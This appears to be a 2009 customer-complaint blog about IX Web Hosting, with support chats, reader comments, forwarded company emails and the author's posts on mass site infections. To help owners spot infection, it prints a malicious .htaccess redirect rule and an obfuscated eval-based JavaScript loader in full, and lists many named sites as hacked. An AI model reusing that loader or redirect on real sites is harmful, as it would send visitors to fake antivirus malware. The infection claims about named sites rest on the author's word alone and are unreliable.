Lesya Geychenko: I am so sorry, our admins are working on the issue

Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible

you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for

Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution

you: we have already

you: what’s going on?

you: over 1 hour

you: hello, any updates so far?

Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish

you: please

Lesya Geychenko: The issue should be fixed within 15 minutes

you: ok

Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins

you: ok

Lesya Geychenko: They maintain the server longer than I have expected

Lesya Geychenko: The server will be up in 60 minutes

you: ixwebhosting is really unreliable…..

Heidi, 03rd 2009f February, 2009
Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I’ll be looking to move my sites.
 
Matt, 02nd 2009f February, 2009
The server is currently down. IT is down about every 5-10 minutes for 30 seconds – 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can’t. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don’t see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients.
 
George , 30th 2009f January, 2009
If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.

 

A list of the top 10 Searches of people landing on this blog. This is what people are searching.

Today

ixwebhosting   Reviews
ixwebhosting htaccess  
ixwebhosting hacked  
ixwebhosting injection .htaccess  
ix webhosting hack  
rip off hosting account   
ixwebhosting cannot connect to database   
ix web hosting htaccess deleted  
ixwebhosting php issue  
how is my site getting hacked? ixwebhost  

Yesterday
 
ixwebhosting hacked  
ixwebhosting  
my php file infected contains iframe cou  
infected website with directed wedsites  
fake yahoo counter  
ixwebhost php wordpress problems?  
ix webhosting reviews
ixwebhosting injection .htaccess  
ix webhosting injection  
ix web hosting virus issue

George , 30th 2009f January, 2009
If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.  
 
Paolo, 23rd 2009f January, 2009
After reading the reviews about the servers / database’s slowing down at a certain time, I checked my log files, and it’s true, like clock work at 2 am every night they come to standsill intill 7.30 am then they pick up again. I posted a support ticket, after almost 24 hours I finally got a response telling me the ticket has been forwarded to support!!!!!… What is the point of that??.
I am looking into moving my sites to HostGator. 
 
Gary, 22nd 2009f January, 2009
I am so sick and tired of ix web hosting!
I have had nothing but problems with them. Their support is useless, rude and they lie.
For the truth visit
https://ixwebhostwarning.wordpress.com/
 
Marky, 22nd 2009f January, 2009
Hacked, Injected, De-Faced, Slow, Useless Support and lots more.
IX is 100% USELESS!!
 
jack, 21st 2009f January, 2009
The server of ixwebhosting is down now. It has been on and off and stalling for the past month.. they keeps saying it was fixed but it isn’t. It’s very upsetting. We have had to complain and make complaints every day three times…. anyone know of a better hosting for Windows?  
 
Melanov, 21st 2009f January, 2009
haha, i know how ixwebhosting is being attacked, I know who is behind the injecting. Over a year ago we contacted ix explaining they had problems, we had a very rude reply telling us it was lies, and the servers were secure. We added a folder with a fake website to at least 200 websites. Now ix wanted to listen, and even offered to pay per security issue.. but now it is too late.
ixwebhosting should listen when help is offered.
 
Gerald W, 21st 2009f January, 2009
I am in the process of moving my 12 sites from ix, I never had a problem with them for over 3 years, but as of November it has been one injection after the other. IX is not willing to help customers, instead they just want their money, and point the finger at customer once EVERY site on the servers are injected.
Don’t waste your time or money on these people.
 
Michael, 18th 2009f January, 2009
I completely agree with Blake, every night at midnight ALL my sites on two buisness accounts come to a screeching halt, everynight I call ix, and they appologize, and tell me they will find the cause and firewall the site, or even suspend the site(s) causing the slowdown, but this has been going on for weeks.
Also, I use “Mailwasher” that connects to my mailserver every 10 minutes, and every morning when I check mailwasher, I get an error log telling me that it could not connect to the server, with at least 20 times that it could not connect to the server.
It’s time to drop ix web hosting
AVOID
 
Blake, 17th 2009f January, 2009
I am totally and completely disgusted with IX Webhosting. It used to be a great host and I recommended it to everyone I could. But something has changed. I believe they got sold. Since then, we have had nothing but endless trouble with this host…

Last year, they proudly moved to a new Data Center. Of course this caused us problems for several months. They kept apologizing, but the problems persisted. After a very long period, things calmed down and remained that way until November…

Without prior warning, IX moved our site to a new server in November. After 60+ hours of calling, using Live Chat, and using the ticket support system, they finally worked out most problems. I felt like I had to beg to get IX to help resolve the problems that they created. I lost an entire weekend fighting them. The IX response times average between 12-24 hours…

Then again this January, IX updated all of our cgi-bin files in our domain and all of our sub-domains recreating the problems that were caused in November’s unnecessary server move. Again, it took over 60+ hours to get our site up and running. I had to find workarounds to get our site up and running, and amazingly, IX tried to take credit for getting our site up and running again even though they had nothing to do with it…

Even though our site is up and running now, we still have many problems. After 176 hours of fighting IX for help, they have yet to correct the Cron job errors that still plague our site…

The last two days, the server has crashed in the evening requiring another call to IX to get the server restarted/reset and our site back online. This was the same pattern that plagued us after the Data Center move last year. And early every morning, the page load response times drag down to a crawl. This seems to start between midnight and 4 AM every single night. The other day, the slowness continued well into the following day. We get an apology from IX each time this happens, but they don’t seem to be doing anything to permanently correct it…

IX has tried very hard to blame these problems on our code, which worked fine before the server move in November and again up until January. IX does not want to take responsibility for their actions and it is frustrating and disgusting dealing with them. I cannot in good conscience recommend IX Webhosting to anyone until they improve the skills of their own Technical Support staff. It wouldn’t hurt if they hired a few more knowledgeable people to improve their response times too. Waiting 12-24 hours for each new response to a ticket is totally unacceptable. With IX’s lack of effort, a resolution to a problem can drag on for days and weeks. IX does the bare minimum to assist its clients and they do it as slow as they possibly can…

Dealing with IX technical support gets real old real fast. I wouldn’t wish this on anyone…
 
 
Hans, 17th 2009f January, 2009
Do not believe their “Money Back Guarantee” After 3 weeks I requested a refund, and I only got about 30% of the full sum, they even charged me $20 for a .com, $20!!!, I can get these for $4.95.
Stay Away from these idiots  
 ett, 11th 2009f January, 2009
If IX is no 3 in the Top 10 companies list, what is the service level provided by those below on the list? Must be pretty terrible, eh?!
I have experience from IX as well as other hosts. Of the ones I’ve used, IX is the worst, one.com (in Denmark!!) has given me the best value for money.
 
Mike, 10th 2009f January, 2009
Bloody USELESS!
 
Muluut, 10th 2009f January, 2009
I am now just 3 months hosting with ix hosting and every day I having big problems. these people do not help and all my sites are hacked. I ask for backup and they tell me backups are no good, backups are hacked same as websites
ix hosting is no good for hosting.
 
Laurie, 10th 2009f January, 2009
With them for about 2-4 years. Was OK, nice customer service but innefficient now that I am ahving BIG problems – and now has been a nightmare since January 1st 2009. Now all my six websites are not even loading. Not even an error message! “server taking too long to respond” My site was hacked apparently (never happened in 10 years) and since then problems everyday. Even google has put a warning to visitors about malware from my site. My Google results have dropped completly Now have been pfflne for 24 hours. Disaster. Will change. I was told they are having problems with one of their servers. I don’t care. I’m changing. Will pay more for more. 
 
Jonathan, 09th 2009f January, 2009
I too have been with IX for just under 4 years, and I too have pure html sites, I have 7 websites, I have always been very happy with IX, and up until September 2008 I had never had any issues. But since September my sites have been hacked, changed and re-directed on a weekly basis. IX keeps telling me about folder permissions and Ftp viruses, but I do not run any scripts, and do not have any folders, so I know that cannot be the cause. I will be moving all my sites to another host. 
 
Archer Rejn, 09th 2009f January, 2009
I have been with IX for already 4 years and have never had any problems. May be cause I do not use any free php applications like wp or Joomla ? All my sites are html files with some Java scripts. I have never been hacked and all my sites load pretty fast. 
 
Magix, 09th 2009f January, 2009
Don’t waste your time or money on these people. 100% USELESS! 
 
kjett, 09th 2009f January, 2009
There is at least one positive aspect of using IX, viz. you learn a lot about the perils of using a web host without sufficient technical knowledge and/or security routines.
You learn that you yourself have to take responsibility for implementation of all the precautions needed, such as recurrently (frequently) making sure your hosted domains haven’t been hacked, having all directories properly chmod-ed and .htaccess-ed, and keeping updated backups on a local server.
These security routines will prove to be useful when you move to a hopefully more competent and secure web host.
 
beyaz, 06th 2009f January, 2009
have the same problem!!!! they are just after money instead of clearing their s**t!
 
George W Bush, 05th 2009f January, 2009
Don’t waste your time with these people, they are just a bunch of incompetent retards.
 
Sammy J, 05th 2009f January, 2009
4 days ago my 6 sites were injected with code, I spent 2 full days cleaning my sites, ix wanted to charge me $80 and hour to clean them, today all 6 sites are injected yet again.. I’m moving to another host, People, beware of IX they do not give a damn about your sites, all they want is your money. 
 
Anita, 03rd 2009f January, 2009
Add me to the list of customers that have been affected by ix’s .htaccess vunerability, and yes they are blaming me, the best part is, they are willing to fix this for me for $80 !! 
 
Roger no Kids, 02nd 2009f January, 2009
@ Roger Kids..
You TWAT!!..
People don’t like IX because they HAVE tried them!!.. If you haven’t tried them, how is a person suposed to know if they like them or not?..
All a person can expect, is what they are promised and what they pay for.. NO MATTER what the price is.
IX are RIP OFF’S they promise, take your money and accuse you for their incompetance.
 
Roger Kids, 01st 2009f January, 2009
Cmon` guys. If you don`t like IX why you choose it? Try to spin around for hosting which is better and cheaper. Let`s see what u`ll get

Dear Nicole **********,

We are happy to inform you that over the next two weeks we will upgrade PHP to the latest 4.x version (4.4.9) on the web server your website is currently being hosted on. This upgrade will resolve many security exploits and make services more stable.

As part of this upgrade, we will migrate from an Apache Module to a CGI based installation that gives you more control over many PHP settings. Once implemented, you will have the ability to upload your very own php.ini file into your cgi-bin folder as needed.

After the upgrade, your website may experience a few errors, all of which can be quickly resolved. Most are caused by having PHP directives inside an .htaccess file.

To fix this problem, simply login to your control panel and click on the WebShell icon. The .htaccess file will not be viewable unless you have “show hidden files” checked in your WebShell settings. Open the .htaccess file and remove any lines that start with “php_”. If you need to retain these settings, then they must now go into a php.ini file and placed into your cgi-bin folder.

If you are running PHP in any of your HTM/HTML files, please add this line to your .htaccess file:
AddHandler php-script .php .php3 .php4 .htm .html .phtml

If you have any questions or concerns about this upgrade, please do not hesitate to contact us 24/7 via live chat, ticket, or phone support and we will be glad to assist.

I hope you will enjoy the new features and increased security!

Best Regards,

Fatima Said, CCO
IX Web Hosting

Hundreds of unhappy IX Web Hosting Customers are contacting me, telling me they are still being blamed for the Yahoo Counter Script Injection and the .htaccess hack.

IX is blaming ” Folder Permissions ”  saying 777 should not be used, and in the case that NO FOLDERS are being used, they turn to the ” Ftp Virus”   BOTH of these are complete rubbish and LIES, and if you corner an IX Web Host manager with some facts and a bit of knowledge they will admit that it IS an issue on the ” IX Servers”

I have been PERSONALLY told by THREE MANAGERS.. Kenny, Drew and Lauren that IX is aware that they have security issues, and each time they assure me that the problem will be fixed soon, that was 9 months ago!!
The problem has not been solved, and is nowhere near being solved, actually it is getting worse.
Almost 10 months ago the problem was the iFrame Yahoo Counter was injected into every file, today the problems are numerous 3 different  injections and a .htaccess hack!! on both the php4 and php5 platform.

So, why is IX Web Hosting admitting they have issues to certain people, and LIEING to others? The reason to this is because the Support Monkeys have been told to NEVER admit that IX has issues, if the monkeys admitted to every customer that it was due to IX’s security issues that more than 120.000 sites were being infected on a weekly basis, all hell would break loose and somewhere along the line someone would sue.
So, as of yet for as far as I know it is only certain managers that are admitting to certain people, that IX is to blame.   

IX Web Hosting blames 777 folder Permission!!!… Do me a favor!!, it’s 2009, HUNDREDS OF MILLIONS of people are using Open Source CMS (content management system ) such as WordPress, Joomla, Drupal etc..etc..
Many of these scripts will not work without 777 permission ( images, templates etc)

If in 2009 IX Web Hosting cannot host a CMS site  without it getting injected or defaced, then they are NOT FIT to host websites and should pack their bags and leave town … for good!!

Why is it, that IX has a page on their website that explains in detail how to install and use WordPress and Joomla, but they still blame customers for using these CMS scripts.

Next time you speak to an IX  Support  Monkey ask them how the following  is possible

  1. 5 html sites ( 100% html) not running any scripts or folders get injected?
  2. How is it possible to MASS overwrite 644 files (.htaccess)
  3. How is it possible to MASS add .htaccess files
  4. Why is it, that if I did have an Ftp Virus, they only inject 2 buisness accounts, when they would have access to all 4?.. Why dont they inject all 4?
  5. Why is it only IX Web Hosting and Host Excellence ( owned by ix web hosting) are having these problems? if it was a 777 folder permission issue 100’s of Millions would be affected, and EVERY webhost in the  world would have the same problems.
  6. ANY Server Side injection of 1000’s of sites is surely the responsibility of IX, and NOT a Folder Permission issue.. I have access to all my folders, but there is no way that I can access someone elses site.
    It’s clear that this issue is server root related.

One more thing, a 777 folder used by the likes of WordPress or Joomla ARE SAFE!!..  Does IX Web Hosting really believe that they can carry on blaming customers? MORE THAN  ONE THIRD of ALL IX Web Hosting sites are infected!!… More than 120.000 sites infected !!

A lot of people are contacting me, asking HOW you would know if your  site is infected?.
Let me start by saying that in some cases you will know immidiately when somthing is wrong, but in other cases it might not be too clear.

The YAHOO COUNTER SCRIPT

footinject1
Click Image to Enlarge

is an iFrame Javascript injection that injects code into the Footer, Body, or Header, or all three at once.
Thousands of IX web Hosting customers are infected with this code, and they do not even know it! The web Page looks normal, but this can be very dangerous, your website will eventually drop from ALL the mayor search engines, and your domain will be flagged as “Dangerous Malware” by all the search engines.
To check if you have the Yahoo Counter injected, visit any search engine, and visit your site, If your site loads as it should, BUT  it still shows “Loading” in the taskbar for some time, and then in most cases ( but not always) an ” Acrobat Reader” Error message will pop up.

adob
Now you must Check the “Source Code” ( Menu Bar –> View –> Source ) and you will notice the Code that has been injected.

 

The .htaccess Injection

This is a very sneaky Injection, the reason being, is because most people that have and check their websites, access them by either a shortcut, or directly through the search bar by using the url, In both these cases, your website will be perfectly normal, BUT, anyone trying to access your website  through any of the mayor Search Engines, will be re-directed.

fakeav

fakeav2

Click Images to Enlarge

fakeav1

Once that is done, a FAKE ANTI VIRUS will pop up, and start scanning your PC, it will then alert you that you have dangerous files on your PC, and if they should be removed, if you click YES, you are screwed!!, a Trojan with KeyLogger will be executed on your PC, and you are INFECTED!!…

Anyone who has the FAKE ANTI VIRUS pop up, should just click off the site NEVER click “Yes” or “No”.. just click OFF the page , if your PC freezes, use “Ctrl-Alt-Delete” and Stop the process… then out of precaution you can “Delete” your cached internet files.

An example of the injected .htaccess file.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* h**p://87.248.180.89/topic.html?s=s [R,L] ( link altered by ME )
 

Remember, you only get re-directed if you click on your url from a search engine

infectedx

As I wrote yesterday, MORE THAN ONE THIRD OF ALL IX Web Hosting’s hosted sites are INFECTED.
And to make things worse, the problem is spreading.
Up until Jan. 3rd 2009 it was only the older servers still running Php4 that were being affected, but now even the NEW server blocks, running Php5 are being injected.
IX Customers with sites on the server block with mysql address mysql501.ixwebhosting.com that runs php5. are being injected.

This is bad enough, and the fact that after 9 MONTHS!!! IX Web Hosting has still NOT GOT A CLUE how this is being done is a complete DISGRACE!!
And to add salt to the wounds, IX is not just being attacked with one form of iFrame injection, NO, IX is being attacked THREE different ways.
1) The notorious ” YAHOO COUNTER” is being injected into the FOOTER of every file.
2) The .htacces File that is overwriting and / or adding an . htaccess file into the root of every site and re-directing sites
3) As of Jan. 3rd 2009, a SECOND but modified version of the ” YAHOO COUNTER ” iFrame injection is now being injected into BOTH the Header, AND / OR Body of every file.

Today an IX Web Hosting customer sent me a link to their site, that was injected with THREE Yahoo Counters, Header, Body and Footer.
The owner of the site told me that the site would take ages to load, and would often even timeout, and Google had dropped the site completely from the Search Engine, penalized because of the “Malware Script”

Here is a quote from IX Support’s Alex Karamushko :

We have currently problem with Yahoo counter hack, but our system administrators and security analysts working hard for finding exact reason of that problem and we can assure you that this will be fixed shortly.

After 9 months, I ask myself what ” shortly” actually means?!.. Another week?, month?, or maybe 3 months?.. because I was told by “AGENT IX” that at the rate things are going now, by May 2009 EVERY website hosted at IX will be infected by these injections.

http://efamili.com/

http://dabasan.com/beads/archive.php

http://www.capetowntips.com/

http://icaav.com/phpBB2/

http://buildingwithtyres.com/

http://www.mortgageservices.com.au/

http://terrybeitel.com/

http://ebookdirectory.net/

http://www.strangeauction.com/

http://annualkellyfamilyreunion.com/forum/

http://www.scotlandsguesthouses.com/

http://www.themerchfoundry.co.uk/helpcenterlive/

http://mediaportalen.net/

It has come to my attention that a NEW wave of iFrame injections has infected 1000’s of new IX Web Host Customers, unlike the previous injection, that injected javascript into the footer of every file, this new piece of code is being injected into the “Header” of every file..

The new code looks like this:

<script language=JavaScript>function tobnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,62,45,0,25,55,44,41,2,31,0,0,0,0,0,0,3,38,33,21,20,16,19,10,42,35,13,32,24,17,4,40,46,56,53,
15,60,5,50, 47,57,48,51,0,0,0,0,26,0,49,6,29,7,12,54,34,23,28,58,11,14,36,43,27,8,59,52,39,37,30,61,1,18,22,9);for(s=Math.ceil(c/m);s>0;s–){h=”;for(i=Math.min(c,m);i>0;i–,c–){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(224^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}tobnb25(’hAOIN1QtlSztwx4tFfvam1OIUuTfN1QKCfLBlx7ZhG4gDypVdZcgbG4KJypYlbLIUfcf4FLrE@TmxlL
58IptD87fS0TRF84BUxOZzjOBS1etS0vak5_KD gOZx1LtlxpV2bptpj6mwjpBSfpVzneRCkJRLsTVdscfNbJrdWTa8@TtzxptpfJRDIJYpyLgdgptcdJrM
@TmDAzIUf2YNAQmEVLK4H2ISjLB8qJ5SsOBxbLIUjvaz@’)</script><!– yourdomain.com –>

 

Manager Kenny at IX Web Hosting  informed a customer today ( Mon 5th Jan.) that  they were testing right now and should be completed in a week or two…

ONE OR TWO WEEKS!!!.. Hey we have been waiting for 8 MONTHS!!!!  You would think that by the advice is giving all their paying customers, and blaming them for everything,  and then offering to fix the problem for $80 AN HOUR!!.. that they would know how to fix this problem, but is is clear they do not, and instead of putting more time and effort into solving this, what does IX do??… TRY AND MAKE MONEY FROM THE PROBLEM!!!… Thats correct, IX Web Hosting is offering to fix / clean customer sites for $80 an hour!!…  This is an absolute disgrace!!

To me it is clear that a large group of people know the vulnerability at IX servers, and various people are now injecting their own script, thats why we are starting to see various different scripts appearing.

 

  1. http://forums.spartiate-peers.com/
  2. http://www.washrag.org/phpBB2/index.php
  3. http://www.pococks.net 
  4. http://imprecator.net/ 
  5. http://imprecator.net/
  6. http://www.capetowntips.com/
  7. http://countrydataservices.com/ 
  8. http://releasespy.com/forum/viewforum.php?f=13
  9. http://nickersonpianostudio.com/ 
  10. http://strangeauction.com/
  11. http://temp.simplyenticing.com/
  12. http://vavize.com/
  13. http://utilizesports.com/
  14. http://www.commandoes.us/
  15. http://www.neostudios.co.uk/lucypinder/
  16. http://tommygallagherband.com/index.php?option=com_gigcal&Itemid=30
  17. http://thatsmydiary.info/
  18. http://greenlaser.cn/
  19. http://www.elfankosh.com/admin.php
  20. http://ircai.com/

I started this blog just 2 weeks ago, and today I recieved my 1000 th  Email asking me about the code that is injected into the footer of every file hosted on seeded IX Web Hosting Servers.

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  “Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

  • mysql33.ixwebhosting.com
  • mysql15.ixwebhosting.com
  • mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

A  short list of sites hosted by IX Web Hosting.. all Hacked and Defaced

http://sw.rzep.net/

http://ebookdirectory.net/

http://www.strangeauction.com/wp-login.php 

http://annualkellyfamilyreunion.com/forum/

http://techworxs.com/forum/

http://sisterwords.com/phpBB2/

http://cr30beachbungalow.mmisiolek.com/phpBB2/

 

http://hitecpowercontrols.com/x.html

http://clearfork.com/phpBB2/

http://jacksonvilleyardsalesonline.com/signinform.php?msg=%3Ch1%3EHacked%20By%20BeLa%3C/h1%3E

http://hucad.com/

http://marybackstage.com/

http://abacusdiesel.com/phpBB2/

http://www.cardstuff.info/details.php?id=16&kategorie=9&main_kat=4&start=0&nr=

http://dexterb.com/

http://mediaportalen.net/index.php?n=modules/users&s=4&t=DESC&p=1&l=results_poll&68cac=off

http://forgottenstory.com/phpBB2/

 http://www.mobileintegration.no/

 http://krabbeteiner.com/shop/admin/

http://fischertechnologies.com/calendar/ 

http://www.scotlandsguesthouses.com/

http://infotop100.com/

http://www.coralenriquegranados.org/phpBB2/index.php

Dear Nicole,

In our ongoing commitment to the security of our customers, we have discovered a vulnerability located within many of our client’s websites, including yours. This is a self replicating virus which is found by visiting well-known search engines. When you click on any link it may redirect you to a fake Anti-Virus 2009 website which appears to scan your system and then asks you to download the software. Once downloaded and installed it begins displaying pop ups on your desktop. At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website. Any visitors to your website will then be redirected to the fake anti-virus website.

We have dedicated our systems administration team to finding a solution to this and are happy to say that as one of the first hosting companies we have successfully cleaned all instances of this virus from our servers more than a week ago, and are continually scanning them to ensure your site does not become re-infected.

While your website is now secure, your computer may still be at risk. Here are two easy steps that will detect and remove this malicious software from your computer and make sure your website will not spread the virus again:

1. Uninstall the fake Anti-Virus software by following the instructions at this link:

http://www.bleepingcomputer.com/malware-removal/uninstall-antivirus-2009

2. Once removed, change your FTP password from within your web hosting control panel. Once logged in, click on the FTP Manager icon and then on the icon next to the password to change it.

To illustrate the severity of the issue I would like to share some facts with you:

* 26,991 of our customers have been infected with fake Anti-Virus 2009

* 79,469 websites have been spreading the Anti-Virus 2009 infection

 

* 120,923 malicious files have been removed from our system

We are constantly monitoring our servers for potential threats to your website, and are proud to say that we are among the first web hosts to identify this particular problem, and have been the first to offer a resolution. Your continued and safe presence on the internet is our top priority.

If you have questions regarding any of this information, please contact our support team anytime.

Kind Regards,

Fatima Said, CCO

IX Web Hosting

h**p://www.ixwebhosting.com

 

******************************************************

 

shocked

WOW!!!… Let’s break this down..

  • In our ongoing commitment to the security of our customers
    Well at least they have a sense of humor
  • we have discovered a vulnerability located within many of our client’s websites, including yours.
    Actually us customers dicovered this SIX MONTHS AGO!!
  • This is a self replicating virus which is found by visiting well-known search engines
    Hahahaha… so first they blame the customers, now they are blaming all the mayor search engines..
  • At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website.
    Yeahhhh, I know exactly what you are thinking!!.. and Yes it is these idiots that are running IX web hosting … If you believe this, you’ll believe anything.
  • We have dedicated our systems administration team to finding a solution.
    Yeahh Right, thats like trying to get a lead balloon to fly!! 
  • To illustrate the severity of the issue I would like to share some facts with you:

     

        * 26,991 of our customers have been infected with fake Anti-Virus 2009

        * 79,469 websites have been spreading the Anti-Virus 2009 infection

        * 120,923 malicious files have been removed from our system
    What can I say?, 26,991 customers fault.. Ooohh and let’s not forget Google..

     

  • We are proud to say that we are among the first web hosts to identify this particular problem
    What this really means, is they are proud of themselves, for being able to bullshit their customers into thinking it’s the customer and Google’s fault.

     

  • and have been the first to offer a resolution.
    So these incompetent retards, think that blaming others for their incompetence, and wasting their time by having them download junk, and scan their PC … a Resolution??

  • If you have questions regarding any of this information, please contact our support team anytime.
    I think I would rather have someone use my eyeballs  as pin cushions than have to deal with the Notourious IX Web Hosting Support .. thats like tring to wipe your arse with your teeth!!